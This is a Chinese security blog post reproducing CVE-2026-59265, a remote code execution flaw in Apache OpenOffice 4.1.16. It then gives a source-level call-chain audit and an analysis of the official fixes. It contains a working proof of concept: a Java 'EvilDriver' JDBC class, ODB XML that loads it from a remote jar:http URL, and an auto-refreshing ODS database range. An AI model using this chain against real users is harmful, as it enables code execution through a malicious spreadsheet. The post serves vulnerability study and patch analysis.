ApacheOpenOfficeCVE-2026-59265恶意电子表格代码执行漏洞复现"

admin 2026-10-15 13:17:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

Apache OpenOffice CVE-2026-59265 恶意电子表格代码执行漏洞复现

原创

Shelter1234
Shelter1234

安全研究员

2026年10月11日 12:28
浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

Apache OpenOffice 是一款历史悠久的免费开源跨平台办公套件,包含了对标微软 Office 的文字处理(Writer)、电子表格(Calc)、演示文稿(Impress)、绘图(Draw)与数据库(Base)等完整组件;它原生支持国际开放文档格式(ODF)并兼容常见微软文件格式,支持个人与商业机构完全免费使用,是 Microsoft Office 最经典的免费替代方案之一。Apache OpenOffice v4.1.16 及更早版本中 Java 集成存在代码执行漏洞,允许用户打开恶意构造的不受信任文档时触发任意代码(包括远程代码)的执行。此问题预计将在 4.1.17 版本中修复,该版本目前处于发布候选阶段。在此之前,用户可通过在“首选项”对话框中禁用 Java 运行时集成来缓解此风险,从而防止攻击。

软件下载地址

https://www.openoffice.org/download/

github仓库地址

https://github.com/apache/openoffice/

漏洞复现必备jre环境-32位jdk —— jdk8u472-b08-jre

https://github.com/adoptium/temurin8-binaries/releases/tag/jdk8u472-b08

poc参考

https://github.com/v12-security/pocs/tree/main/office\_jdbc\_bugs

漏洞复现

1.编译JDBC驱动


import java.sql.Connection;
import java.sql.Driver;
import java.sql.DriverPropertyInfo;
import java.sql.SQLException;
import java.util.Locale;
import java.util.Properties;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.logging.Logger;

public class EvilDriver implements Driver {
    private static final AtomicBoolean calculatorOpened = new AtomicBoolean(false);

    static {
        openCalculator();
    }

    public EvilDriver() {
        openCalculator();
    }

    private static void openCalculator() {
        if (!calculatorOpened.compareAndSet(false, true)) {
            return;
        }

        String os = System.getProperty(\"os.name\", \"\").toLowerCase(Locale.ROOT);
        String[] command;

        if (os.contains(\"win\")) {
            command = new String[] { \"calc.exe\" };
        } else if (os.contains(\"mac\") || os.contains(\"darwin\")) {
            command = new String[] { \"open\", \"-a\", \"Calculator\" };
        } else {
            command = new String[] { \"xcalc\" };
        }

        try {
            new ProcessBuilder(command).start();
        } catch (Exception ignored) {
        }
    }

    @Override
    public Connection connect(String url, Properties info) throws SQLException {
        openCalculator();
        return null;
    }

    @Override
    public boolean acceptsURL(String url) {
        return true;
    }

    @Override
    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) {
        return new DriverPropertyInfo[0];
    }

    @Override
    public int getMajorVersion() {
        return 1;
    }

    @Override
    public int getMinorVersion() {
        return 0;
    }

    @Override
    public boolean jdbcCompliant() {
        return false;
    }

    @Override
    public Logger getParentLogger() {
        return Logger.getGlobal();
    }
}

src/EvilDriver.java实现java.sql.Driver。加载或实例化EvilDriver时,它会尝试启动计算器。

编译后生成:

hosted\_artifacts\\evil-calculator-driver.jar

2.生成odb文件

利用OpenOffice 创建一个空的odb文件,之后以压缩包的形式打开

改变配置文件

<db:driver-settings db:java-driver-class=\"EvilDriver\" db:java-classpath=\"jar:http://127.0.0.1:8000/evil-calculator-driver.jar!/\"
<db:data-source-setting-value>EvilDriver</db:data-source-setting-value>

3.创建ods电子表格文件

同样的方式OpenOffice 创建一个空的ods文件,之后以压缩包的形式打开

<table:database-ranges>
  <table:database-range
    table:name=\"Import1\"
    table:target-range-address=\"工作表1.A3:工作表1.B8\"
    table:contains-header=\"false\"
    table:refresh-delay=\"PT1S\">

    <table:database-source-sql
      table:database-name=\"http://127.0.0.1:8000/test.odb\"
      table:sql-statement=\"SELECT 1\"/>
  </table:database-range>
</table:database-ranges> </office:spreadsheet>

4.监听8000 放入资源odb和jar文件 打开ods

漏洞调用链审计——ai版

OpenOffice 4.1.16 JDBC java-classpath 源码调用链审计

范围与结论

审计对象是本地源码树 openoffice-4.1.16(Apache OpenOffice 4.1.16,标签 AOO4116-GA),针对已给出的 ODS → 外部 ODB → JDBC classpath 复现链路。本文分析既有实现,不修改源码,也不把普通 JDBC 连接失败当作漏洞。

在此调用链中,db:java-classpath 并非只作为描述性配置保存:ODB XML 导入器将它变成 JavaDriverClassPath 连接属性;数据源层会保留该受支持属性并交给 JDBC 驱动;驱动将其按空格拆成 URL,传入 Java URLClassLoader,再加载并实例化 JavaDriverClass。这条链上未见对 classpath URL scheme 的白名单或“是否允许此文档加载 Java 类”的信任决策。

风险前提包括:用户打开包含相应数据库范围的 ODS;Calc 实际执行该范围的自动刷新;外部 ODB 和 JAR 可由 OpenOffice 所在进程访问;OpenOffice 的 Java/JDBC 功能可用。以复现中的外部 HTTP ODB/JAR 为例,远端内容由文档引用,客户端随后下载并在本地 OpenOffice 进程中加载 Java 类。代码以当前 OpenOffice 进程权限运行。

调用链

ODS table:database-range (refresh-delay, database-name URL)
  -> Calc XML 导入保存刷新间隔和数据库源
  -> ScDocShell::RefreshDBDataHdl
  -> ScDBDocFunc::DoImport 创建并执行 sdb.RowSet
  -> RowSet::calcConnection 调用 DatabaseContext::getByName
  -> 未注册名称按 URL 解释,DatabaseContext 加载外部 ODB
  -> ODB XML 导入 JavaDriverClass / JavaDriverClassPath 设置
  -> ODatabaseSource::buildLowLevelConnection 筛选设置并调用 JDBC 驱动
  -> java_sql_Driver::connect / java_sql_Connection::construct
  -> loadDriverFromProperties -> URLClassLoader.loadClass
  -> newInstanceObject 实例化 JDBC 驱动类

关键数据流

1. ODS 的刷新属性触发 Calc 导入

main/sc/source/filter/xml/xmldrani.cxx:204-209 将 table:refresh-delay 转成秒;例如 PT1S 得到 1。EndElement() 在数据库范围有 import 参数时调用 SetRefreshDelay、设置刷新 handler 和控制对象(xmldrani.cxx:429-434)。

main/sc/source/core/tool/refreshtimer.cxx:53-60 显示非零 delay 会启动 timer;超时后调用 handler 并继续计时(refreshtimer.cxx:64-75)。Calc 的 ScDocShell::RefreshDBDataHdl 检查该范围确有 import 参数后调用 ScDBDocFunc::DoImport(main/sc/source/ui/docshell/docsh5.cxx:1010-1029)。

这说明 refresh-delay 是自动进入导入流程的触发条件;它本身不加载 Java 类,后续连接流程才是代码加载点。

2. 数据库名称 URL 从 ODS 进入 RowSet

ScDBDocFunc::DoImport 创建 com.sun.star.sdb.RowSet,把导入参数中的数据库名称写入 DataSourceName,随后执行 RowSet(main/sc/source/ui/docshell/dbdocimp.cxx:219-265,特别是 242-265)。ODS 中的 table:database-name 在 XML 导入中被保存为这个名称(main/sc/source/filter/xml/xmldrani.cxx:510-514)。

ORowSet::calcConnection 将非空 DataSourceName 传给 DatabaseContext::getByName,得到 XDataSource 后调用 getConnection(main/dbaccess/source/core/api/RowSet.cxx:2186-2225)。

ODatabaseContext::getByName 对未注册的名称走 sURL = _rName 分支,再调用 loadObjectFromURL(main/dbaccess/source/core/dataaccess/databasecontext.cxx:644-673)。loadObjectFromURL 检查 URL 是否可解析并通过 UCB Content 加载资源(334-345);创建数据库文档模型后以该 URL 加载模型(375-389)。这里没有把可加载协议限定为本地文件协议的检查。

3. ODB XML 把 db:java-classpath 映射为 JDBC 属性

main/dbaccess/source/filter/xml/xmlfilter.cxx:713、746 将 db:java-driver-class 和 db:java-classpath 分别映射到 XML token。xmlDataSource.cxx:130-132 将 driver class 映射到 JavaDriverClass;192-200 将 classpath 映射到 JavaDriverClassPath 并放入导入的属性序列。

随后 ODBFilter::setPropertyInfo 合并这些导入项与驱动默认设置,并设置数据源 Info 属性(main/dbaccess/source/filter/xml/xmlfilter.cxx:947-973)。因此外部 ODB 中的 XML 值会成为数据库数据源的连接设置,而非仅停留在 XML 文本中。

4. JDBC 属性过滤器会放行此属性

ODatabaseSource::buildLowLevelConnection 通过驱动管理器按数据库连接 URL 找到驱动,获取驱动属性信息,然后对数据源设置调用 lcl_filterDriverProperties(main/dbaccess/source/core/dataaccess/datasource.cxx:684-750)。过滤器逻辑(442-482)对已知设置要求同时满足:

  1. 数据源模型把该设置列为已知设置;
  2. JDBC 驱动通过 getPropertyInfo 声明该设置。

ODatabaseModelImpl::getDefaultDataSourceSettings 将 JavaDriverClassPath 列为已知 JDBC 设置(main/dbaccess/source/core/dataaccess/ModelImpl.cxx:1095-1100);Java JDBC 驱动则在 JDriver.cxx:131-155 声明 JavaDriverClass 与 JavaDriverClassPath。所以 classpath 项会通过过滤。过滤器的目的在于筛选该驱动支持的连接设置,不是对 classpath 内容进行安全校验。

过滤后的属性经 getConnectionWithInfo 送入 JDBC 驱动(datasource.cxx:745-765)。java_sql_Driver::connect 构造连接并调用 construct(url, info)(main/connectivity/source/drivers/jdbc/JDriver.cxx:103-118)。

5. JavaDriverClassPath 进入 URLClassLoader

java_sql_Connection::construct 从连接属性读取 JavaDriverClass 和 JavaDriverClassPath;只有 classpath 为空时才回退到本机配置的驱动路径(main/connectivity/source/drivers/jdbc/JConnection.cxx:778-810)。因此 ODB 提供的非空值优先于全局路径。

loadDriverFromProperties 在路径非空时调用 JDBC 文件内的 loadClass,把 classpath 和类名传入(JConnection.cxx:664-718)。这个 loadClass 调用 jvmaccess::ClassPath::translateToUrls,构造 java/net/URLClassLoader,再调用其 loadClass(JConnection.cxx:190-232)。加载成功后,newInstanceObject() 实例化驱动(JConnection.cxx:719-727)。Java 类初始化和驱动构造逻辑因此会在 OpenOffice 进程中执行;具体 payload 将代码放在静态初始化块还是构造函数,取决于 JAR 的实现。

java-classpath 的具体语义

main/jvmaccess/source/classpath.cxx:53-107 将字符串按空格拆分为若干 token(71),对 OpenOffice 的 ${...} 扩展 URL 做展开(73-95),然后将每个 token 原样交给 java.net.URL(String)(96-107)。随后 doLoadClass 构造 URLClassLoader(URL[]) 并调用 loadClass(128-166)。

对复现值 jar:http://127.0.0.1:8000/evil-calculator-driver.jar!/ 而言,代码路径没有在 native 层拆解或限定 jar:、http:;它把完整字符串交给 Java URL 解析,再交给 URLClassLoader。Java 8 的 URL/URLClassLoader 支持 jar: URL 包装远端 HTTP URL,类资源按需读取,因此网络请求通常发生在加载器实际解析所需类时。若字符串中有空格,会被当作多个 classpath 项拆开;这也是 classpath 必须保持为一个无空格 URL 的原因。

注意:OpenOffice 源码这里只能证明 URL 字符串被传递到 java.net.URL / URLClassLoader,实际 HTTP 请求和 JAR 解包行为来自所使用 Java 运行时的 URL handler 实现。复现环境的 HTTP 日志可以作为运行时证据补充。

安全控制与边界

  • DatabaseContext::loadObjectFromURL 设置 MacroExecutionMode::USE_CONFIG(databasecontext.cxx:382-389)。这是 ODB 文档加载时的宏执行策略参数;在上述 JavaDriverClassPath → URLClassLoader 调用链中,未见它被用来授权或拒绝 JDBC Java 类加载。
  • ODB 加载时传入 InteractionHandler,RowSet 也能使用连接交互 handler(RowSet.cxx:2201-2210)。这些交互用于加载/连接或认证场景;在检查的代码路径中未发现“该文档是否可信/是否允许执行其 JDBC 驱动类”的专门确认。
  • JDBC 属性过滤器只核对属性名是否已知且由驱动声明支持;没有检查属性值的 scheme、来源或信任级别。
  • jvmaccess::ClassPath 对 URL 做 OpenOffice 宏 URL 展开,但在此处未见协议 allowlist;随后直接构造 Java URL 与 URLClassLoader。
  • 这些结论限定于 4.1.16 中本次追踪的 ODS/ODB/JDBC 路径,不等同于证明整个代码库所有组件均不存在其他策略或控制。

复现字段与源码位置对应

复现内容 源码中的承接点 含义
ODS table:refresh-delay=\"PT1S\" xmldrani.cxx:204-209, 429-434; refreshtimer.cxx:53-75 设置并启动数据库范围刷新 timer
ODS table:database-name=\"http://.../poc-calculator.odb\" xmldrani.cxx:510-514; dbdocimp.cxx:242-265 URL 变为 RowSet 的 DataSourceName 并触发执行
外部 ODB URL RowSet.cxx:2186-2225; databasecontext.cxx:644-673, 334-389 按名称查询数据源;未注册时作为 URL 加载 ODB
ODB db:java-driver-class=\"EvilDriver\" xmlDataSource.cxx:130-132; JConnection.cxx:796-810 变为并读取 JavaDriverClass
ODB db:java-classpath=\"jar:http://...!/\" xmlDataSource.cxx:192-200; datasource.cxx:442-482, 745-765; JConnection.cxx:796-810 变为 JDBC 属性、通过过滤并送到驱动
远程 JAR / 驱动类 classpath.cxx:53-107, 128-166; JConnection.cxx:664-727 URL → URLClassLoader → 加载并实例化类

源码级修复方向

  1. 在 JDBC 驱动加载边界处理不可信来源:不要默认允许由外部文档提供的 classpath 触发 Java 类加载;引入与文档信任/用户选择相连的明确授权。
  2. 对 classpath URL 做协议策略校验,并默认拒绝网络来源;不能只校验 java-classpath 是否为非空字符串。若保留远程扩展能力,应有单独的显式信任机制。
  3. 在自动刷新导入前增加对外部 ODB 数据源的安全确认或安全策略,并确保不因 timer/RowSet 隐式执行而绕过同一授权。
  4. 回归验证应覆盖:HTTP/JAR URL、jar:http 包装 URL、不同 URL scheme、以空格分隔的多个 classpath 项、本地已安装 JDBC 驱动,以及 Java 未启用时的失败路径。

以上是修复建议,不是对 4.1.17 实际补丁的描述;本次只审计了 4.1.16 源码。

官方补丁体现的修复思路

用户提供的两个官方提交分别是:

  • 95923fd437e06edd38a4f0e139a27c755a6f3ba6:Reject further invalid URLs
  • c699bed3f75e79bd64ddec9dec49f9e210eed281:Additional check

两个补丁分别落在不同的安全边界,形成纵深防御。

1. 在 Java 类路径转换边界只允许本地来源

第一个补丁修改 main/jvmaccess/source/classpath.cxx,新增 isLocalClassPathUrl。允许的前缀为:

file:
jrt:
jmod:
jar:file:
jar:jrt:
jar:jmod:

检查使用大小写不敏感的前缀匹配。通过检查的 URL 才会继续构造 java.net.URL;不通过的 URL 会记录 trace 并跳过:

classpath token
  -> 展开 OpenOffice URL
  -> isLocalClassPathUrl
       -> 允许:加入 URL 数组
       -> 拒绝:记录并跳过
  -> URLClassLoader(URL[])

因此 PoC 中的:

jar:http://127.0.0.1:8000/evil-calculator-driver.jar!/

不匹配任何允许前缀,会在 java.net.URL 对象创建之前被跳过,不能再通过该路径让 URLClassLoader 访问 HTTP JAR。jar:file: 仍被保留,是为了支持本地 JAR;jrt: 和 jmod: 对应 JVM 镜像/模块资源。

该补丁的特点是保留 JDBC 的本地驱动扩展能力,同时阻断网络类路径。它没有移除 JavaDriverClass、JavaDriverClassPath 属性,也没有禁止 JDBC;保护点位于“字符串即将进入 Java URL/类加载器”的最后边界。

补丁注释还要求 Java 侧的 com.sun.star.comp.sdbc.Tools 使用同一白名单。这表示官方意图是让 native 层和 Java 层采用一致策略,避免只修一条实现路径。4.1.16 源码中尚未看到该新增白名单,补丁本身是后续版本的变更。

需要注意,这个补丁主要阻断“远程 JAR 类加载”,并不阻止 Calc 先读取外部 ODB;因此它不能单独提供外部链接授权语义。

2. 在 Calc 数据库导入入口请求外部链接授权

第二个补丁修改 main/sc/source/ui/docshell/dbdocimp.cxx 的 ScDBDocFunc::DoImport。在创建 RowSet、进入 DatabaseContext 之前,新增:

  1. 用 INetURLObject 判断 rParam.aDBName 是否是可解析 URL;
  2. 从当前 Calc 文档模型查询 com.sun.star.document.XLinkAuthorizer;
  3. 调用 authorizeLinks(rParam.aDBName);
  4. 授权失败时立即返回 sal_False。

调用顺序变为:

数据库范围刷新
  -> ScDBDocFunc::DoImport
  -> 数据库名称是 URL?
       -> 否:继续原流程
       -> 是:XLinkAuthorizer 授权
              -> 拒绝:直接停止,不创建/执行 RowSet
              -> 允许:继续读取外部 ODB

这里的保护点比 DatabaseContext::loadObjectFromURL 更早,能够在外部 ODB 被打开、ODB 属性被导入、JDBC 驱动被查找之前阻断链路。它也覆盖自动刷新,因为自动刷新最终同样进入 DoImport。

3. 授权行为来自 Calc 现有的链接策略

4.1.16 已有 ScModelObj::authorizeLinks 实现(main/sc/source/ui/unoobj/docuno.cxx:1312-1335),第二个补丁只是把它接入数据库导入入口。现有逻辑是:

  • urlIsVendor 命中的内部/供应商 URL 拒绝;
  • urlIsSafe 命中的安全 URL 直接允许;
  • 其他 URL 交给 LinkManager::GetUserAllowsLinkUpdate;
  • GetUserAllowsLinkUpdate 弹出一次“是否更新链接”的确认框,默认按钮为 No(main/sfx2/source/appl/linkmgr2.cxx:299-309)。

LinkManager::urlIsSafe 对 URL 解析后要求没有 path 和 server(linkmgr2.cxx:547-576),因此普通 http://127.0.0.1:8000/... 不属于无提示安全 URL,通常会进入用户授权分支。用户拒绝时,第二个补丁在 DoImport 返回失败,后续不会到达 RowSet/ODB/JDBC 路径。

4. 两个补丁的关系

两者不是重复修复:

防线 位置 阻断对象 用户体验
链接授权 Calc DoImport 入口 外部数据库源 URL 的自动读取 对外部链接请求用户确认,拒绝则停止导入
类路径白名单 jvmaccess::ClassPath::doTranslateToUrls 非本地 JAR/URL classpath 允许本地驱动,跳过网络 classpath

即使用户允许读取外部 ODB,第一份补丁仍会阻止 jar:http:;即使某个调用路径绕过了 Calc 入口,类加载边界的白名单仍能阻止网络 JAR。反过来,仅有第一份补丁时,远程 ODB 仍可能被读取并触发其他外部资源行为;仅有第二份补丁时,打开文档仍可能无提示访问外部 ODB。官方选择同时修复,分别控制“读取外部链接”和“执行外部 Java 类”两个不同动作。

5. 对本次 PoC 的直接影响

对 onefile-dbrange-http.ods:

  1. 打开后数据库范围刷新进入 DoImport;
  2. http://127.0.0.1:8000/poc-calculator.odb 被识别为外部 URL;
  3. 用户拒绝链接授权时,流程在 DoImport 返回,通常不会请求 ODB/JAR;
  4. 用户允许链接授权时,外部 ODB 可以继续加载,但其 jar:http classpath 会在 classpath.cxx 被跳过;
  5. 因此 EvilDriver 不再从该远程 JAR 被加载和实例化。

官方修复的核心不是把 java-classpath XML 标签删除,而是:

在外部资源读取处要求文档链接授权,在 Java 类加载处只接受本地类路径;把网络数据访问和可执行 Java 类加载拆成两个独立的安全决策点。

参考

https://github.com/apache/openoffice/commit/95923fd437e06edd38a4f0e139a27c755a6f3ba6.patch

https://github.com/apache/openoffice/commit/c699bed3f75e79bd64ddec9dec49f9e210eed281.patch


ApacheOpenOfficeCVE-2026-59265恶意电子表格代码执行漏洞复现" 网络安全文章

ApacheOpenOfficeCVE-2026-59265恶意电子表格代码执行漏洞复现"

本文详细复现了ApacheOpenOfficeCVE-2026-59265漏洞,该漏洞影响4.1.16及更早版本,源于Java集成存在代码执行风险,攻击者可利用恶意ODS文件通过JDBCclasspath加载远程恶意类实现任意代码执行。文章提供了完整复现步骤、POC代码及调用链审计分析,并建议用户在4.1.17版本发布前禁用Java运行时集成以缓解风险。
秦安:巴基斯坦兵力携中国造武器进入沙特,必须直面四个致命且敏感问题,决定未来走向!" 网络安全文章

秦安:巴基斯坦兵力携中国造武器进入沙特,必须直面四个致命且敏感问题,决定未来走向!"

文章分析巴基斯坦兵力进入沙特后必须直面的四个致命敏感问题:与伊朗和印度的关系恶化、对胡塞武装无法取胜、使用中国武器的现实问题,以及中东伊斯兰国家真正的敌人是谁。作者认为中东冲突打的不是胜负,而是谁能在乱局中保持清醒,强调内部分裂与外部操纵才是真正威胁。
安天网络行为检测能力升级通告(20261011)" 网络安全文章

安天网络行为检测能力升级通告(20261011)"

安天发布网络行为检测能力升级通告,新增99条检测规则并改进16条,覆盖代码执行、注入等风险特征。近期威胁包括伪装AI产品的钓鱼平台及ClickFix攻击变种,披露GnuTLS、Linux内核等5个漏洞,以及TensorLake供应链投毒和LunexStealer窃密事件。建议及时更新规则库至Antiy_AVLX_2026100107并升级探海系统至6.6.1.4及以上版本。
评论:0   参与:  0